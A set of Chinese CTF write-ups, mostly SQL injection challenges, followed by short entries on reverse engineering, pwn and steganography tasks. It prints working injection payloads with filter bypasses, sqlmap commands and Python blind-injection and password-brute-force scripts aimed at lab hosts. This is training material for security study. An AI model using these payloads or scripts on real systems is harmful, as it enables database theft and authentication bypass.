[强网杯 2019]随便注
先查看一下是什么注入,输入1'出现报错,说明是字符型注入,单引号闭合

然后查询列数,输入1' order by 3#时出现报错说明列数为3列

尝试联合注入,1' union select 1,2#,发现select被过滤

根据提示,想到堆叠注入,去了解了一下堆叠注入,大致原理就是:mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句。
还需要了解一下sql中show函数的使用:
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。
先查看一下数据库,1' ;show database#,得到回显

再查看一下有哪些表,1';show tables#

得到两个表,先查看第一个表1'; show columns from `1919810931114514`#(这里要注意表名为数字时,要用反引号包起来查询)

发现flag,接下来就是查看flag,这里去找了大佬的,后面需要自己去理解一下
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);
1';HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE;#

[SWPUCTF 2021 新生赛]sql
先查看是什么注入,输入?wllm=1';出现报错说明是字符型注入

输入?wllm=-1' or 1=1#发现存在过滤,过滤了空格和等号,这里我们使用/**/和like代替;测试长度,输入?wllm=1'/**/order/**/by/**/4%23出现报错

接下来基本就是联合注入,查一下回显?wllm=-1'/**/union/**/select/**/1,2,3%23

发现回显处在2和3,再查库?wllm=-1'/**/union/**/select/**/1,2,database()%23

得到库名,查询表名?wllm=-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

找到表名,flag应该在第一个表中,再查看一下第一个表,?wllm=-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

找到了flag所在的字段,最后查看flag的字段,?wllm=-1%27/**/union/**/select/**/1,group_concat(flag),mid(group_concat(flag),21)/**/from/**/LTLT_flag%23

发现得到的flag不全,原因是字段的位数长度不足,使用截断函数进行绕过,发现substr,right,REVERSE 被过滤,只能使用mid,
?wllm=-1'union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag),21,41),mid((select/**/flag/**/from/**/LTLT_flag),42,62)%23

[极客大挑战 2019]EasySQL
这题很简单,我尝试了一下万能密码,flag就出来了
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1

[UUCTF 2022 新生赛]ezsql
先用万能密钥测试一下,发现用户名其实是已知,说明注入点在password

还得到了闭合方式为')闭合且这里输入的payload被逆向,接下来就是查询显示的列数,在password处输入,发现or被过滤了,后尝试了发现过滤了or,from,where,这里我们可以采用双写绕过,#;2,1 tceles noinu )'nimda

再进行查库,#;2,)(esabatad tceles noinu )'nimda

得到数据库为UUCTF,然后查表名,#;)(esabatad=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

发现flag的所在位置,再查询字段,#;'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

最后就是查看flag,#;galf.FTCUU moorrf )FTCUU(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda
[SWPUCTF 2022 新生赛]ez_sql
根据提示,尝试后发现是POST传参,先测试是什么类型

为字符型注入,后尝试and等,发现and,空格,or,union被过滤了
先判断列数,nss=-1'/**/oorrder/**/by/**/4#,出现报错,列数为3

采用联合注入,判断显示位,nss=-1'/**/ununionion/**/select/**/1,2,3#,发现没有回显

尝试访问下一行nss=-1'/**/ununionion/**/select/**/1,2,3/**/limit/**/1,1#,得到回显2和3;然后查询数据库,nss=-1'/**/ununionion/**/select/**/1,database(),(select/**/group_concat(schema_name)/**/from/**/infoorrmation_schema.schemata)/**/limit/**/1,1#

得到库名为NSS_db,查看表名nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1#

得到两个表,猜测flag在第一个表中,查询字段nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#

查看字段内容nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(id,Secr3t,flll444g)/**/from/**/NSS_tb/**/limit/**/1,1#

得到flag
[SWPUCTF 2024 秋季新生赛]ez_sql
先测试类型,发现是字符型

联合注入,先爆库名-1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#

发现ctf,再爆表名-1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='ctf'#

爆列名-1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='ctf' and table_name='flag'#

最后查看flag,尝试多次发现flag在data中,-1' union select 1,2,group_concat(data),4 from flag#

[HNCTF 2022 WEEK2]easy_sql
这题考察WAF,用bp测试了一下,发现过滤了很多
~
!
@
#
$
%
^
&
-
+
--
--+
&&
!(<>)
and
sleep
order
is
distinct
infomation
handler
先测试一下列数,1'/**/group/**/by/**/4,'1,出现报错,说明列数为3

再确定一下回显位置,1'/**/union/**/select/**/1,2,3/**/'1,回显位置为3

爆数据库,1'/**/union/**/select/**/1,2,database()/**/where/**/'1,库名为ctf

查询表名,1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1(这里由于information被过滤了,使用mysql.innodb_table_stats代替)

查询flag所在的表1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/table_name="flag"'

发现flag所在的表为ctftraining,最后就是查询flag在这个表里的列,1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1

直接得到了flag
[NISACTF 2022]hardsql
根据题目提示,得知用户名为bilala,注入点为password,尝试输入1' or 1=1#,发现被waf拦截

尝试发现好多字符被过滤,尝试爆破密码,去找了一下大佬的脚本
python
import requests
import time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28843/login.php"
flag = ""
Cookie = {'frontLang':'zh - cn',
'frontDevice':'desktop',
'theme' : 'default',
'adminLang' : 'zh - cn',
'adminDevice' : 'desktop',
'currentGroup': 'design'
}
while(True):
for i in alp:
data = {
'username': 'bilala',
'passwd':f"1'or/**/passwd/**/like/**/'{flag+i}%'#"
}
res = requests.post(url=url,data=data)
time.sleep(0.1)
if "nothing found" not in res.text:
flag+=i
print(flag)
break
elif "~" in i:
return
if __name__=='__main__':
get_pass()
得到密码为b2f2d15b3ae082ca29697d8dcd420fd7,登录后得到源码

过滤的字符也都全部可以查看了,分析后得到,查询出来的passwd要和𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑强相等,且
passwor不等于b2f2d15b3ae082ca29697d8dcd420fd7,去查看了一下大佬的wp,构造payload
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

得到flag
[October 2019]Twice SQL Injection
这题考察二次注入,先了解一下二次注入
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 "\" 进行转义,但是"\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
尝试了一下简单的sql语句,发现通过注册用户名将sql语句写入到数据中
先爆一下库,1' union select database()#,密码随意

爆表名,1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

得到表名,再查询列名,1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

查看字段,1' union select flag from flag#、

得到flag
[MoeCTF 2022]Sqlmap_boy
查看源码发现sql语句,看出闭合方式是单引号和双引号' ",先使用万能密码登录

登陆成功后,先爆库

再爆表名

得到表名后,我们就可以进行爆字段

最后就是查看字段内容

还有就是使用sqlmap,再使用过程中,sqlmap会提醒使用cookie值
python
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a --dbs
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" --tables
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" -D "moectf" -T "flag" --columns
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" -T "flag" -C "flAg" --dump
[GHCTF 2025]SQL???
先了解一下sqllite,SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。
基础语法
基础语法:
python
# 数据库基础语法
sqlite3 sqltest.db #sqlite的每一个数据库就是一个文件
#执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
sqlite> .databases #判断数据库是否存在
sqlite> .open sqltest.db #打开数据库
sqlite> .tables #列出数据库中所有的表
sqlite> .schema test #得到该表所使用的命令
#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL
...> );
#向表中插入数据
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
#查询语句
sqlite> select * from test;
#导入导出
sqlite3 testDB.db .dump > testDB.sql #导出
sqlite3 testDB.db < testDB.sql #导入
先判断一下字段?id=1 order by 5,在6时出现报错,但实际上注入时发现只有3段

再查表名,?id=1 union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---

得到表名,查看表内数据,?id=1 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag) ---

flag直接就出来了
[极客大挑战 2019]BabySQL
登录页面,尝试万能密码,失败,发现两个参数点;尝试后发现password可以进行sql注入。
先查看类型,1'出现报错,判断为单引号闭合

测试字段,发现or和by被过滤了, 使用双写绕过,1' oorrder bbyy 3--+

发现字段为3,查询回显位,发现union 和 select 被过滤,1' uniunionon selselectect 1,2,3--+

得到回显位,爆库,1' uniunionon selselectect 1,2,database()--+

库名为geek,再爆表,1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+

查询列名,1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+
列名id,username,password,最后查字段内容,1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

[极客大挑战 2019]FinalSQL
根据提示,页面给了五个按钮,依次点击尝试一下



发现注入点为id,尝试对id进行注入,这里采用布尔盲注:id=1^1和id=1^0


没办法了,只能去查看大佬的wp,根据这个原理,构造类似这样的payload,id=1^(ascii(substr((select(database())),1,1))>100)
找到大佬的脚本
python
import requests
import sys
import time
#判断数据库名长度
def get_DBlen(url):
for i in range(1,10):
db_url = url+"1^1^(length(database())=%d)#"%i
r = requests.get(db_url)
if "Click" in r.text:
print("数据库名称的长度为:%d"%i)
return i
#爆数据库名
def get_DBname(url,length):
DBname = ""
length = length + 1
for i in range(1,length):
Max = 122
Min = 41
Mid = (Max+Min)//2
while Min <= Max:
db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min=Mid+1
Mid=(Min+Max)//2
pass
else:
Max = Mid-1
Mid = (Min+Max)//2
pass
pass
DBname = DBname + chr(Mid)
print("数据库名:",DBname)
return DBname
def get_TBname(url):
name=""
i = 0
print("字段内容为:")
while True:
i = i+1
Max = 128
Min = 32
Mid = (Max+Min)//2
while Min <= Max:
# 爆表名
# db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
# 爆字段名
# db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
# 获取flag
db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min=Mid+1
Mid=(Min+Max)//2
pass
else:
Max=Mid-1
Mid=(Min+Max)//2
pass
pass
name=name+chr(Mid)
if Mid == 31:
break
print(name)
#速度太快显示不完全
time.sleep(0.5)
if __name__=="__main__":
url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
db_Len = get_DBlen(url)
db_Name = get_DBname(url,db_Len)
tb_name = get_TBname(url)
运行后就能得到flag
[极客大挑战 2019]HardSQL
这题与上题一样还是password为注入点,发现存在过滤,使用bp爆一下发现很多字符=、--+、/**/和一些注入命令union、by等被过滤
先查看注入类型,为字符型注入
进行爆库,1'or(extractvalue(1,concat(0x5e,(database()),0x5e)))%23

得到库名为geek,再获取表名,1'or(extractvalue(1,concat(0x5e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x5e)))%23

得到表名为H4rDsq1,然后再获取字段名1%27or(extractvalue(1,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x5e)))%23

最后就是查看字段内容,1'or(updatexml(1,concat(0x7e,(select(left(password,33))from(H4rDsq1)),0x7e),1))%23

发现只有一半,再去查看另一半,1'or(updatexml(1,concat(0x7e,(select(right(password,26))from(H4rDsq1)),0x7e),1))%23

[GXYCTF2019]BabySQli
这题给了源码,我们先分析一下源码
python
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<!-- Base32编码的数据,可能是某种标识或密钥 -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<!-- 页面标题,暗示可能需要识别身份 -->
<?php
require "config.php"; // 引入数据库配置文件
require "flag.php"; // 引入flag文件,包含$flag变量
// 去除转义 - 如果开启了魔术引号,则清除转义字符
if (get_magic_quotes_gpc()) { // 检查是否开启魔术引号(旧版PHP安全特性)
function stripslashes_deep($value) // 递归去除转义函数
{
$value = is_array($value) ? // 判断是否为数组
array_map('stripslashes_deep', $value) : // 递归处理数组
stripslashes($value); // 处理字符串
return $value;
}
// 递归去除所有输入数组中的转义
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8'); // 设置数据库字符集
$name = $_POST['name']; // 获取POST参数name
$password = $_POST['pw']; // 获取POST参数pw
$t_pw = md5($password); // 计算密码的MD5值(但未使用)
$sql = "select * from user where username = '".$name."'"; // 拼接SQL查询
// echo $sql; // 被注释掉的SQL语句输出,可用于SQL注入调试
$result = mysqli_query($con, $sql); // 执行SQL查询
if(preg_match("/\(|\)|\=|or/", $name)){ // 检查用户名是否包含(、)、=、or
die("do not hack me!"); // 如果包含则终止并输出错误
}
else{ // 用户名不包含黑名单字符
if (!$result) { // 如果SQL查询失败
printf("Error: %s\n", mysqli_error($con)); // 打印SQL错误
exit();
}
else{ // SQL查询成功
// echo '<pre>'; // 被注释掉的调试输出
$arr = mysqli_fetch_row($result); // 获取查询结果行
// print_r($arr); // 被注释掉的数组打印
if($arr[1] == "admin"){ // 检查第二列是否为admin(假设[0]是id,[1]是用户名)
if(md5($password) == $arr[2]){ // 验证密码的MD5值是否匹配第三列
echo $flag; // 验证成功,输出flag
}
else{ // 密码不匹配
die("wrong pass!");
}
}
else{ // 用户名不是admin
die("wrong user!");
}
}
}
?>
开头第一行需要先进行base32解密,再进行base64解密,解密后得到
python
select * from user where username = '$name'
说明注入点为name,从代码可以看出,name和pw参数分别存储在password中,t_pw存储经过md5加密后的password,result存储经过sql查询返回的数据,还进行了一些字符的过滤,最重要的是result转换成数组的形式,然后经过两个if判断,第一个if判断arr的第一个数组是否等于admin,第二个if判断arr的第二个数组是否等于password经过md5加密后的值。
先查看注入类型,发现为字符类型

再测试字段数,-1' union select 1,2,3,4#,到四时出现报错,说明字段数为3

其中根据源码,三段中有一段为admin,经过测试后发现2为admin,1' union select 1,'admin,3#

最后就是构造payload,查看flag,name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1;这里3处填的是密码的MD5值

reverse1
这题以前已经做过了,先用IDA打开,发现没有什么主要的信息,使用strings查看一下

发现有关flag的信息,点击进去

发现重要字符串,用x查看有关该字符串的函数

发现rcx函数,用F5查看伪代码

点击str2,进去后发现flag

sandbox
先使用file和checksec查看,发现开启了canary和nx保护。

用IDA打开附件,发现box函数,发现不能输入cat flag

还发现我们不可以输入'sh','cat','flag',那我们需要对其进行绕过,去查找了一下pwm的绕过方法,发现可以利用0进行绕过,0等效'sh' 'bin/sh'进行提权,就可以拿到flag了(我这里kali出了点问题,就不展示了)
你竟然赶我走
这题也是以前做过的,使用stegsolve打开图片,打开File Format(文件格式),就可以得到flag

[SWPUCTF 2021 新生赛]ez_caesar

看str的形式有点像base64,先用base64解密、
再用凯撒密码解密,偏移量为5(试出来的)

或者用随波逐流梭哈
二维码
这题也是做过的,用010或stegsolve打开图片,查看发现图片中隐藏了一个压缩包

然后可以用kali中的binwalk的方式分离文件了,或者嫌麻烦可以直接使用随波逐流中的binwalk

提取后是一个加密的zip,直接使用随波逐流的暴力破解



